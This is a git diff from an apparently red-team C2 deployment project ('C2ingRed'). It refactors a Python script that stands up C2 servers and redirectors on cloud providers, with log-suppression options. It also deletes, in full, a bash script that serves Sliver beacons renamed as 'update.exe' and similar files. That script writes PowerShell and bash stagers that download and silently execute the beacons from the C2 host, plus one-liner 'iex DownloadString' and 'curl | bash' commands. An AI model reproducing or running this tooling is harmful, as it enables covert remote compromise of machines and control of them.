info.append(f"Additional parameters: --linode-token YOUR_TOKEN --c2-name {config.get('c2_name', 'C2_NAME')} --redirector-name {config.get('redirector_name', 'REDIRECTOR_NAME')}")
|
info.append(f"Additional parameters: --linode-token YOUR_TOKEN --c2-name {config.get('c2_name', 'C2_NAME')} --redirector-name {config.get('redirector_name', 'REDIRECTOR_NAME')}")
|
||||||
elif config.get('provider') == 'aws':
|
elif config.get('provider') == 'aws':
|
||||||
@@ -1534,36 +2038,47 @@ def deploy_cross_provider(config, redirector_provider, c2_provider):
|
|||||||
|
|
||||||
def main():
|
def main():
|
||||||
"""Main function to run the deployment"""
|
"""Main function to run the deployment"""
|
||||||
# Display banner
|
global debug_mode, deployment_id
|
||||||
print("""
|
|
||||||
========================================
|
|
||||||
C2ingRed - Red Team Infrastructure Setup
|
|
||||||
========================================
|
|
||||||
""")
|
|
||||||
|
|
||||||
# Parse command line arguments first (don't set up logging yet)
|
# Initialize the global deployment ID
|
||||||
|
deployment_id = generate_deployment_id()
|
||||||
|
|
||||||
|
# Check if any command-line arguments were provided
|
||||||
|
if len(sys.argv) > 1:
|
||||||
|
# Arguments provided, use the original CLI flow
|
||||||
args = parse_arguments()
|
args = parse_arguments()
|
||||||
|
|
||||||
|
# Generate a deployment ID FIRST - before any other operations
|
||||||
|
deployment_id = generate_deployment_id()
|
||||||
|
|
||||||
|
# Set up logging with our consistent deployment ID
|
||||||
|
log_file = setup_logging(deployment_id)
|
||||||
|
|
||||||
# Check dependencies
|
# Check dependencies
|
||||||
check_dependencies()
|
check_dependencies()
|
||||||
|
|
||||||
# Generate a single deployment ID that will be used for EVERYTHING
|
# Validate deployment mode
|
||||||
deployment_id = generate_deployment_id()
|
if hasattr(args, 'redirector_only') and hasattr(args, 'c2_only') and args.redirector_only and args.c2_only:
|
||||||
|
logging.error("Cannot specify both --redirector-only and --c2-only")
|
||||||
|
return
|
||||||
|
|
||||||
# NOW set up logging with our deployment ID
|
# Check if this is a teardown operation
|
||||||
log_file = setup_logging(deployment_id)
|
if hasattr(args, 'teardown') and args.teardown:
|
||||||
|
teardown_infrastructure(vars(args))
|
||||||
|
return
|
||||||
|
|
||||||
|
# Check if this is a test operation
|
||||||
|
if hasattr(args, 'run_tests') and args.run_tests:
|
||||||
|
run_tests(vars(args))
|
||||||
|
return
|
||||||
|
|
||||||
# Use interactive mode if specified
|
|
||||||
if args.interactive:
|
|
||||||
config = interactive_setup(deployment_id)
|
|
||||||
else:
|
|
||||||
# Override provider if --flokinet is specified
|
# Override provider if --flokinet is specified
|
||||||
if args.flokinet:
|
if hasattr(args, 'flokinet') and args.flokinet:
|
||||||
args.provider = "flokinet"
|
args.provider = "flokinet"
|
||||||
|
|
||||||
# Load variables from provider-specific vars.yaml if provider is specified
|
# Load variables from provider-specific vars.yaml if provider is specified
|
||||||
vars_data = {}
|
vars_data = {}
|
||||||
if args.provider:
|
if hasattr(args, 'provider') and args.provider:
|
||||||
provider_dir = PROVIDER_DIRS.get(args.provider, args.provider.upper())
|
provider_dir = PROVIDER_DIRS.get(args.provider, args.provider.upper())
|
||||||
vars_file = f"{provider_dir}/vars.yaml"
|
vars_file = f"{provider_dir}/vars.yaml"
|
||||||
if os.path.exists(vars_file):
|
if os.path.exists(vars_file):
|
||||||
@@ -1574,50 +2089,77 @@ C2ingRed - Red Team Infrastructure Setup
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
logging.warning(f"Failed to load {vars_file}: {e}")
|
logging.warning(f"Failed to load {vars_file}: {e}")
|
||||||
|
|
||||||
|
# Handle the interactive flag
|
||||||
|
if hasattr(args, 'interactive') and args.interactive:
|
||||||
|
config = interactive_setup(deployment_id) # Pass the deployment_id here
|
||||||
|
else:
|
||||||
# Build configuration by combining args and vars_data
|
# Build configuration by combining args and vars_data
|
||||||
config = {}
|
config = {}
|
||||||
|
|
||||||
# Provider settings
|
|
||||||
config['provider'] = args.provider
|
|
||||||
|
|
||||||
# Copy all values from vars_data to config first
|
# Copy all values from vars_data to config first
|
||||||
for key, value in vars_data.items():
|
for key, value in vars_data.items():
|
||||||
config[key] = value
|
config[key] = value
|
||||||
|
|
||||||
# Store the deployment ID in the config
|
# Provider settings
|
||||||
config['deployment_id'] = deployment_id
|
if hasattr(args, 'provider'):
|
||||||
|
config['provider'] = args.provider
|
||||||
|
|
||||||
|
# Store the deployment ID
|
||||||
|
config['deployment_id'] = deployment_id # Use our consistent deployment ID
|
||||||
|
|
||||||
# Use consistent deployment ID for all resource names
|
# Use consistent deployment ID for all resource names
|
||||||
|
if hasattr(args, 'redirector_name'):
|
||||||
config['redirector_name'] = args.redirector_name or f"r-{deployment_id}"
|
config['redirector_name'] = args.redirector_name or f"r-{deployment_id}"
|
||||||
|
else:
|
||||||
|
config['redirector_name'] = f"r-{deployment_id}"
|
||||||
|
|
||||||
|
if hasattr(args, 'c2_name'):
|
||||||
config['c2_name'] = args.c2_name or f"s-{deployment_id}"
|
config['c2_name'] = args.c2_name or f"s-{deployment_id}"
|
||||||
|
else:
|
||||||
|
config['c2_name'] = f"s-{deployment_id}"
|
||||||
|
|
||||||
|
if hasattr(args, 'tracker_name'):
|
||||||
config['tracker_name'] = args.tracker_name or f"t-{deployment_id}"
|
config['tracker_name'] = args.tracker_name or f"t-{deployment_id}"
|
||||||
|
else:
|
||||||
|
config['tracker_name'] = f"t-{deployment_id}"
|
||||||
|
|
||||||
# Subdomain settings - ensure these are explicitly set
|
# Subdomain settings - ensure these are explicitly set
|
||||||
|
if hasattr(args, 'redirector_subdomain'):
|
||||||
config['redirector_subdomain'] = args.redirector_subdomain or 'cdn'
|
config['redirector_subdomain'] = args.redirector_subdomain or 'cdn'
|
||||||
|
if hasattr(args, 'c2_subdomain'):
|
||||||
config['c2_subdomain'] = args.c2_subdomain or 'mail'
|
config['c2_subdomain'] = args.c2_subdomain or 'mail'
|
||||||
|
|
||||||
# AWS settings
|
# AWS settings
|
||||||
if args.provider == "aws":
|
if args.provider == "aws":
|
||||||
|
if hasattr(args, 'aws_key'):
|
||||||
config['aws_access_key'] = args.aws_key or vars_data.get('aws_access_key')
|
config['aws_access_key'] = args.aws_key or vars_data.get('aws_access_key')
|
||||||
|
if hasattr(args, 'aws_secret'):
|
||||||
config['aws_secret_key'] = args.aws_secret or vars_data.get('aws_secret_key')
|
config['aws_secret_key'] = args.aws_secret or vars_data.get('aws_secret_key')
|
||||||
|
if hasattr(args, 'aws_region'):
|
||||||
config['aws_region'] = args.aws_region or args.region or vars_data.get('aws_region')
|
config['aws_region'] = args.aws_region or args.region or vars_data.get('aws_region')
|
||||||
config['aws_region_choices'] = vars_data.get('aws_region_choices', [])
|
config['aws_region_choices'] = vars_data.get('aws_region_choices', [])
|
||||||
config['ami_map'] = vars_data.get('ami_map', {})
|
config['ami_map'] = vars_data.get('ami_map', {})
|
||||||
|
if hasattr(args, 'size'):
|
||||||
config['size'] = args.size or vars_data.get('aws_instance_type', 't2.medium')
|
config['size'] = args.size or vars_data.get('aws_instance_type', 't2.medium')
|
||||||
|
|
||||||
# Linode settings
|
# Linode settings
|
||||||
elif args.provider == "linode":
|
elif args.provider == "linode":
|
||||||
|
if hasattr(args, 'linode_token'):
|
||||||
config['linode_token'] = args.linode_token or vars_data.get('linode_token')
|
config['linode_token'] = args.linode_token or vars_data.get('linode_token')
|
||||||
|
if hasattr(args, 'linode_region'):
|
||||||
config['linode_region'] = args.linode_region or args.region or vars_data.get('linode_region')
|
config['linode_region'] = args.linode_region or args.region or vars_data.get('linode_region')
|
||||||
# Ensure region_choices are correctly set
|
# Ensure region_choices are correctly set
|
||||||
config['region_choices'] = vars_data.get('region_choices', [])
|
config['region_choices'] = vars_data.get('region_choices', [])
|
||||||
|
if hasattr(args, 'size'):
|
||||||
config['plan'] = args.size or vars_data.get('plan', 'g6-standard-2')
|
config['plan'] = args.size or vars_data.get('plan', 'g6-standard-2')
|
||||||
config['image'] = vars_data.get('image', 'linode/kali')
|
config['image'] = vars_data.get('image', 'linode/kali')
|
||||||
config['redirector_image'] = vars_data.get('redirector_image', 'linode/debian11')
|
config['redirector_image'] = vars_data.get('redirector_image', 'linode/debian11')
|
||||||
|
|
||||||
# FlokiNET settings
|
# FlokiNET settings
|
||||||
elif args.provider == "flokinet":
|
elif args.provider == "flokinet":
|
||||||
|
if hasattr(args, 'flokinet_redirector_ip'):
|
||||||
config['flokinet_redirector_ip'] = args.flokinet_redirector_ip or vars_data.get('redirector_ip')
|
config['flokinet_redirector_ip'] = args.flokinet_redirector_ip or vars_data.get('redirector_ip')
|
||||||
|
if hasattr(args, 'flokinet_c2_ip'):
|
||||||
config['flokinet_c2_ip'] = args.flokinet_c2_ip or vars_data.get('c2_ip')
|
config['flokinet_c2_ip'] = args.flokinet_c2_ip or vars_data.get('c2_ip')
|
||||||
config['flokinet_region_choices'] = vars_data.get('flokinet_region_choices', [])
|
config['flokinet_region_choices'] = vars_data.get('flokinet_region_choices', [])
|
||||||
config['ssh_port'] = vars_data.get('ssh_port', 22)
|
config['ssh_port'] = vars_data.get('ssh_port', 22)
|
||||||
@@ -1626,27 +2168,37 @@ C2ingRed - Red Team Infrastructure Setup
|
|||||||
if args.provider == "linode":
|
if args.provider == "linode":
|
||||||
config['ssh_user'] = "root"
|
config['ssh_user'] = "root"
|
||||||
elif args.provider == "aws":
|
elif args.provider == "aws":
|
||||||
config['ssh_user'] = "kali"
|
config['ssh_user'] = "root"
|
||||||
else:
|
else:
|
||||||
config['ssh_user'] = args.ssh_user or vars_data.get('ssh_user') or (DEFAULT_SSH_USER.get(args.provider) if args.provider else None)
|
if hasattr(args, 'ssh_user'):
|
||||||
|
config['ssh_user'] = args.ssh_user or vars_data.get('ssh_user') or DEFAULT_SSH_USER.get(args.provider)
|
||||||
|
|
||||||
if args.ssh_key:
|
# ONLY generate an SSH key if needed - not for teardown operations
|
||||||
|
if hasattr(args, 'ssh_key'):
|
||||||
config['ssh_key'] = os.path.expanduser(args.ssh_key)
|
config['ssh_key'] = os.path.expanduser(args.ssh_key)
|
||||||
else:
|
else:
|
||||||
# Generate a key if no key is provided and we're not in teardown mode
|
# Generate a key if no key is provided and we're not in teardown mode
|
||||||
if not args.teardown:
|
if not hasattr(args, 'teardown') or not args.teardown:
|
||||||
config['ssh_key'] = generate_ssh_key(deployment_id)
|
config['ssh_key'] = generate_ssh_key(deployment_id) # Use the same deployment ID
|
||||||
|
|
||||||
# Deployment options
|
# Deployment options
|
||||||
|
if hasattr(args, 'redirector_only'):
|
||||||
config['redirector_only'] = args.redirector_only
|
config['redirector_only'] = args.redirector_only
|
||||||
|
if hasattr(args, 'c2_only'):
|
||||||
config['c2_only'] = args.c2_only
|
config['c2_only'] = args.c2_only
|
||||||
|
if hasattr(args, 'debug'):
|
||||||
config['debug'] = args.debug
|
config['debug'] = args.debug
|
||||||
|
if hasattr(args, 'domain'):
|
||||||
config['domain'] = args.domain or vars_data.get('domain', 'example.com')
|
config['domain'] = args.domain or vars_data.get('domain', 'example.com')
|
||||||
|
if hasattr(args, 'letsencrypt_email'):
|
||||||
config['letsencrypt_email'] = args.letsencrypt_email or vars_data.get('letsencrypt_email', f"admin@{config['domain']}")
|
config['letsencrypt_email'] = args.letsencrypt_email or vars_data.get('letsencrypt_email', f"admin@{config['domain']}")
|
||||||
|
|
||||||
# OPSEC settings
|
# OPSEC settings
|
||||||
|
if hasattr(args, 'disable_history'):
|
||||||
config['disable_history'] = args.disable_history if args.disable_history is not None else vars_data.get('disable_history', True)
|
config['disable_history'] = args.disable_history if args.disable_history is not None else vars_data.get('disable_history', True)
|
||||||
|
if hasattr(args, 'secure_memory'):
|
||||||
config['secure_memory'] = args.secure_memory if args.secure_memory is not None else vars_data.get('secure_memory', True)
|
config['secure_memory'] = args.secure_memory if args.secure_memory is not None else vars_data.get('secure_memory', True)
|
||||||
|
if hasattr(args, 'zero_logs'):
|
||||||
config['zero_logs'] = args.zero_logs if args.zero_logs is not None else vars_data.get('zero_logs', True)
|
config['zero_logs'] = args.zero_logs if args.zero_logs is not None else vars_data.get('zero_logs', True)
|
||||||
|
|
||||||
# Other settings from vars_data
|
# Other settings from vars_data
|
||||||
@@ -1656,13 +2208,20 @@ C2ingRed - Red Team Infrastructure Setup
|
|||||||
config['shell_handler_port'] = vars_data.get('shell_handler_port', str(random.randint(4000, 65000)))
|
config['shell_handler_port'] = vars_data.get('shell_handler_port', str(random.randint(4000, 65000)))
|
||||||
|
|
||||||
# Tracker options
|
# Tracker options
|
||||||
|
if hasattr(args, 'deploy_tracker'):
|
||||||
config['deploy_tracker'] = args.deploy_tracker
|
config['deploy_tracker'] = args.deploy_tracker
|
||||||
|
if hasattr(args, 'integrated_tracker'):
|
||||||
config['integrated_tracker'] = args.integrated_tracker
|
config['integrated_tracker'] = args.integrated_tracker
|
||||||
if args.deploy_tracker:
|
if args.deploy_tracker:
|
||||||
|
if hasattr(args, 'tracker_domain'):
|
||||||
config['tracker_domain'] = args.tracker_domain or f"track.{config['domain']}"
|
config['tracker_domain'] = args.tracker_domain or f"track.{config['domain']}"
|
||||||
|
if hasattr(args, 'tracker_email'):
|
||||||
config['tracker_email'] = args.tracker_email or config['letsencrypt_email']
|
config['tracker_email'] = args.tracker_email or config['letsencrypt_email']
|
||||||
|
if hasattr(args, 'tracker_ipinfo_token'):
|
||||||
config['tracker_ipinfo_token'] = args.tracker_ipinfo_token
|
config['tracker_ipinfo_token'] = args.tracker_ipinfo_token
|
||||||
|
if hasattr(args, 'tracker_setup_ssl'):
|
||||||
config['tracker_setup_ssl'] = args.tracker_setup_ssl
|
config['tracker_setup_ssl'] = args.tracker_setup_ssl
|
||||||
|
if hasattr(args, 'tracker_create_pixel'):
|
||||||
config['tracker_create_pixel'] = args.tracker_create_pixel
|
config['tracker_create_pixel'] = args.tracker_create_pixel
|
||||||
|
|
||||||
# Set the integrated tracker flag for deployment
|
# Set the integrated tracker flag for deployment
|
||||||
@@ -1670,9 +2229,11 @@ C2ingRed - Red Team Infrastructure Setup
|
|||||||
config['setup_integrated_tracker'] = True
|
config['setup_integrated_tracker'] = True
|
||||||
|
|
||||||
# SSH after deploy
|
# SSH after deploy
|
||||||
|
if hasattr(args, 'ssh_after_deploy'):
|
||||||
config['ssh_after_deploy'] = args.ssh_after_deploy
|
config['ssh_after_deploy'] = args.ssh_after_deploy
|
||||||
|
|
||||||
# Run tests
|
# Run tests
|
||||||
|
if hasattr(args, 'run_tests'):
|
||||||
config['run_tests'] = args.run_tests
|
config['run_tests'] = args.run_tests
|
||||||
|
|
||||||
# Make sure we have the public key path if we're generating one
|
# Make sure we have the public key path if we're generating one
|
||||||
@@ -1686,35 +2247,11 @@ C2ingRed - Red Team Infrastructure Setup
|
|||||||
alt_path = f"{config['ssh_key']}.pub"
|
alt_path = f"{config['ssh_key']}.pub"
|
||||||
if os.path.exists(alt_path):
|
if os.path.exists(alt_path):
|
||||||
config['ssh_key_path'] = alt_path
|
config['ssh_key_path'] = alt_path
|
||||||
elif not args.teardown: # Only generate new key if not in teardown mode
|
elif not hasattr(args, 'teardown'): # Only generate new key if not in teardown mode
|
||||||
logging.warning(f"Public key not found at {config['ssh_key_path']}. Generating a new key.")
|
logging.warning(f"Public key not found at {config['ssh_key_path']}. Generating a new key.")
|
||||||
config['ssh_key'] = generate_ssh_key(deployment_id)
|
config['ssh_key'] = generate_ssh_key(deployment_id) # Use the same deployment ID
|
||||||
config['ssh_key_path'] = f"{config['ssh_key']}.pub"
|
config['ssh_key_path'] = f"{config['ssh_key']}.pub"
|
||||||
|
|
||||||
# Validate deployment mode
|
|
||||||
if config.get('redirector_only') and config.get('c2_only'):
|
|
||||||
logging.error("Cannot specify both --redirector-only and --c2-only")
|
|
||||||
return
|
|
||||||
|
|
||||||
# Log configuration (excluding sensitive data)
|
|
||||||
logging.info("Deployment configuration:")
|
|
||||||
for key, value in config.items():
|
|
||||||
if key not in ['aws_secret_key', 'linode_token', 'smtp_auth_pass', 'tracker_ipinfo_token']:
|
|
||||||
if isinstance(value, (dict, list)):
|
|
||||||
logging.info(f" {key}: <complex data>")
|
|
||||||
else:
|
|
||||||
logging.info(f" {key}: {value}")
|
|
||||||
|
|
||||||
# Check if this is a teardown operation
|
|
||||||
if args.teardown:
|
|
||||||
teardown_infrastructure(config)
|
|
||||||
return
|
|
||||||
|
|
||||||
# Check if this is a test operation
|
|
||||||
if args.run_tests:
|
|
||||||
run_tests(config)
|
|
||||||
return
|
|
||||||
|
|
||||||
# Run deployment
|
# Run deployment
|
||||||
try:
|
try:
|
||||||
# Deploy the standard infrastructure first (redirector + C2)
|
# Deploy the standard infrastructure first (redirector + C2)
|
||||||
@@ -1774,7 +2311,23 @@ C2ingRed - Red Team Infrastructure Setup
|
|||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
print("\nCleanup interrupted. Resources may still exist.")
|
print("\nCleanup interrupted. Resources may still exist.")
|
||||||
logging.warning("Cleanup interrupted by user. Resources may still exist.")
|
logging.warning("Cleanup interrupted by user. Resources may still exist.")
|
||||||
|
else:
|
||||||
|
# No arguments - launch the interactive menu
|
||||||
|
try:
|
||||||
|
# Generate a deployment ID first
|
||||||
|
deployment_id = generate_deployment_id()
|
||||||
|
|
||||||
|
# Set up logging
|
||||||
|
log_file = setup_logging(deployment_id)
|
||||||
|
|
||||||
|
# Check dependencies
|
||||||
|
check_dependencies()
|
||||||
|
|
||||||
|
# Launch the menu
|
||||||
|
main_menu()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print(f"\n\n{COLORS['YELLOW']}Operation interrupted by user.{COLORS['RESET']}")
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
main()
|
main()
|
||||||
|
|||||||
@@ -1,197 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# Script to serve Sliver beacons generated by generate_evasive_beacons.sh
|
|
||||||
|
|
||||||
# Configuration
|
|
||||||
BEACONS_DIR="/root/Tools/beacons"
|
|
||||||
C2_HOST="{{ ansible_host }}"
|
|
||||||
LISTEN_PORT=8443
|
|
||||||
|
|
||||||
# Check if manifest file exists (created by generate_evasive_beacons.sh)
|
|
||||||
if [ -f "$BEACONS_DIR/manifest.json" ]; then
|
|
||||||
echo "[+] Found beacon manifest file - using Sliver beacons generated previously"
|
|
||||||
# Extract beacon paths from manifest
|
|
||||||
WIN_EXE=$(jq -r '.windows_exe' "$BEACONS_DIR/manifest.json")
|
|
||||||
WIN_DLL=$(jq -r '.windows_dll' "$BEACONS_DIR/manifest.json")
|
|
||||||
LINUX_BIN=$(jq -r '.linux_binary' "$BEACONS_DIR/manifest.json")
|
|
||||||
MAC_BIN=$(jq -r '.macos_binary' "$BEACONS_DIR/manifest.json")
|
|
||||||
WIN_STAGER=$(jq -r '.windows_stager' "$BEACONS_DIR/manifest.json")
|
|
||||||
|
|
||||||
# Print beacon info
|
|
||||||
echo "[+] Using these Sliver beacons:"
|
|
||||||
echo " - Windows EXE: $WIN_EXE"
|
|
||||||
echo " - Windows DLL: $WIN_DLL"
|
|
||||||
echo " - Linux Binary: $LINUX_BIN"
|
|
||||||
echo " - macOS Binary: $MAC_BIN"
|
|
||||||
echo " - Windows Stager: $WIN_STAGER"
|
|
||||||
else
|
|
||||||
echo "[!] No manifest file found. Please run generate_evasive_beacons.sh first."
|
|
||||||
echo "[!] Will search for beacons in $BEACONS_DIR..."
|
|
||||||
|
|
||||||
# Try to find beacons directly
|
|
||||||
WIN_EXE=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.exe" ! -path "*/staged/*" | head -n 1)
|
|
||||||
WIN_DLL=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.dll" | head -n 1)
|
|
||||||
LINUX_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -type f -executable -not -path "*/\.*" ! -name "*.sh" ! -name "*.exe" ! -name "*.dll" | head -n 1)
|
|
||||||
MAC_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -name "*mac*" -o -name "*darwin*" | head -n 1)
|
|
||||||
WIN_STAGER=$(find "$BEACONS_DIR/staged" -name "*.exe" | head -n 1)
|
|
||||||
|
|
||||||
# Check if we found any beacons
|
|
||||||
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
|
|
||||||
echo "[!] No Sliver beacons found. Please run generate_evasive_beacons.sh first."
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Create temporary directory for web server
|
|
||||||
TEMP_DIR=$(mktemp -d)
|
|
||||||
mkdir -p $TEMP_DIR/downloads
|
|
||||||
mkdir -p $TEMP_DIR/scripts
|
|
||||||
|
|
||||||
# Copy beacons to web directory with generic names
|
|
||||||
if [ -n "$WIN_EXE" ]; then
|
|
||||||
cp "$BEACONS_DIR/$WIN_EXE" $TEMP_DIR/downloads/update.exe
|
|
||||||
echo "[+] Serving Windows EXE: $WIN_EXE"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ -n "$WIN_DLL" ]; then
|
|
||||||
cp "$BEACONS_DIR/$WIN_DLL" $TEMP_DIR/downloads/module.dll
|
|
||||||
echo "[+] Serving Windows DLL: $WIN_DLL"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ -n "$LINUX_BIN" ]; then
|
|
||||||
cp "$BEACONS_DIR/$LINUX_BIN" $TEMP_DIR/downloads/update-linux
|
|
||||||
echo "[+] Serving Linux Binary: $LINUX_BIN"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ -n "$MAC_BIN" ]; then
|
|
||||||
cp "$BEACONS_DIR/$MAC_BIN" $TEMP_DIR/downloads/update-mac
|
|
||||||
echo "[+] Serving macOS Binary: $MAC_BIN"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ -n "$WIN_STAGER" ]; then
|
|
||||||
cp "$BEACONS_DIR/$WIN_STAGER" $TEMP_DIR/downloads/stager.exe
|
|
||||||
echo "[+] Serving Windows Stager: $WIN_STAGER"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Copy loader scripts if they exist
|
|
||||||
if [ -f "$BEACONS_DIR/windows_loader.ps1" ]; then
|
|
||||||
cp "$BEACONS_DIR/windows_loader.ps1" $TEMP_DIR/scripts/
|
|
||||||
echo "[+] Serving Windows PowerShell loader"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ -f "$BEACONS_DIR/linux_loader.sh" ]; then
|
|
||||||
cp "$BEACONS_DIR/linux_loader.sh" $TEMP_DIR/scripts/
|
|
||||||
echo "[+] Serving Linux bash loader"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Create additional PowerShell downloader script
|
|
||||||
cat > $TEMP_DIR/scripts/beacon.ps1 << 'EOFPS'
|
|
||||||
# PowerShell downloader for Sliver beacons
|
|
||||||
$ErrorActionPreference = 'SilentlyContinue'
|
|
||||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
|
||||||
|
|
||||||
# Random temporary file
|
|
||||||
$tempFile = Join-Path $env:TEMP ("update-" + (New-Guid) + ".exe")
|
|
||||||
|
|
||||||
# Download and execute
|
|
||||||
try {
|
|
||||||
$webClient = New-Object System.Net.WebClient
|
|
||||||
$webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
|
|
||||||
$webClient.DownloadFile("http://C2HOST:C2PORT/downloads/update.exe", $tempFile)
|
|
||||||
Start-Process -WindowStyle Hidden $tempFile
|
|
||||||
"Successfully downloaded and executed update."
|
|
||||||
} catch {
|
|
||||||
"Error during update process."
|
|
||||||
}
|
|
||||||
EOFPS
|
|
||||||
|
|
||||||
# Replace placeholders
|
|
||||||
sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.ps1
|
|
||||||
sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.ps1
|
|
||||||
|
|
||||||
# Create Linux bash download script
|
|
||||||
cat > $TEMP_DIR/scripts/beacon.sh << 'EOFSH'
|
|
||||||
#!/bin/bash
|
|
||||||
# Linux download and execute Sliver beacon
|
|
||||||
|
|
||||||
# Download binary to /tmp with random name
|
|
||||||
TMPFILE="/tmp/update-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
|
|
||||||
curl -s -o $TMPFILE http://C2HOST:C2PORT/downloads/update-linux
|
|
||||||
chmod +x $TMPFILE
|
|
||||||
|
|
||||||
# Execute in background
|
|
||||||
$TMPFILE &
|
|
||||||
|
|
||||||
echo "Update complete."
|
|
||||||
EOFSH
|
|
||||||
|
|
||||||
# Replace placeholders
|
|
||||||
sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.sh
|
|
||||||
sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.sh
|
|
||||||
chmod +x $TEMP_DIR/scripts/beacon.sh
|
|
||||||
|
|
||||||
# Create helpful index page
|
|
||||||
cat > $TEMP_DIR/index.html << EOL
|
|
||||||
<!DOCTYPE html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<title>Sliver Beacon Downloads</title>
|
|
||||||
<style>
|
|
||||||
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
|
|
||||||
h1 { color: #333; }
|
|
||||||
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
|
|
||||||
.warning { color: #a00; font-weight: bold; }
|
|
||||||
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<h1>Sliver Beacon Downloads</h1>
|
|
||||||
<div class="section">
|
|
||||||
<h2>Available Beacons</h2>
|
|
||||||
<ul>
|
|
||||||
<li><a href="/downloads/update.exe">Windows Beacon</a></li>
|
|
||||||
<li><a href="/downloads/module.dll">Windows DLL Beacon</a></li>
|
|
||||||
<li><a href="/downloads/update-linux">Linux Beacon</a></li>
|
|
||||||
<li><a href="/downloads/update-mac">macOS Beacon</a></li>
|
|
||||||
<li><a href="/downloads/stager.exe">Windows Stager</a></li>
|
|
||||||
</ul>
|
|
||||||
</div>
|
|
||||||
<div class="section">
|
|
||||||
<h2>Auto-Download Scripts</h2>
|
|
||||||
<ul>
|
|
||||||
<li><a href="/scripts/beacon.ps1">Windows PowerShell Downloader</a></li>
|
|
||||||
<li><a href="/scripts/beacon.sh">Linux Bash Downloader</a></li>
|
|
||||||
<li><a href="/scripts/windows_loader.ps1">PowerShell C2 Loader</a></li>
|
|
||||||
<li><a href="/scripts/linux_loader.sh">Bash C2 Loader</a></li>
|
|
||||||
</ul>
|
|
||||||
</div>
|
|
||||||
<div class="section">
|
|
||||||
<h2>Quick Commands</h2>
|
|
||||||
<p>Windows PowerShell:</p>
|
|
||||||
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')"</code>
|
|
||||||
<p>Linux Bash:</p>
|
|
||||||
<code>curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash</code>
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
EOL
|
|
||||||
|
|
||||||
# Start Python HTTP server in background
|
|
||||||
cd $TEMP_DIR
|
|
||||||
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
|
|
||||||
SERVER_PID=$!
|
|
||||||
echo "[+] Started Sliver beacon server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
|
|
||||||
|
|
||||||
# Print useful information for the operator
|
|
||||||
echo "[+] Sliver beacons server is now running at http://$C2_HOST:$LISTEN_PORT/"
|
|
||||||
echo "[+] Available Sliver beacons:"
|
|
||||||
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update.exe (Windows EXE)"
|
|
||||||
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/module.dll (Windows DLL)"
|
|
||||||
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update-linux (Linux Binary)"
|
|
||||||
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update-mac (macOS Binary)"
|
|
||||||
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/stager.exe (Windows Stager)"
|
|
||||||
echo ""
|
|
||||||
echo "[+] Quick PowerShell download command:"
|
|
||||||
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')\""
|
|
||||||
echo ""
|
|
||||||
echo "[+] Quick Linux download command:"
|
|
||||||
echo "curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash"
|
|
||||||
Reference in New Issue
Block a user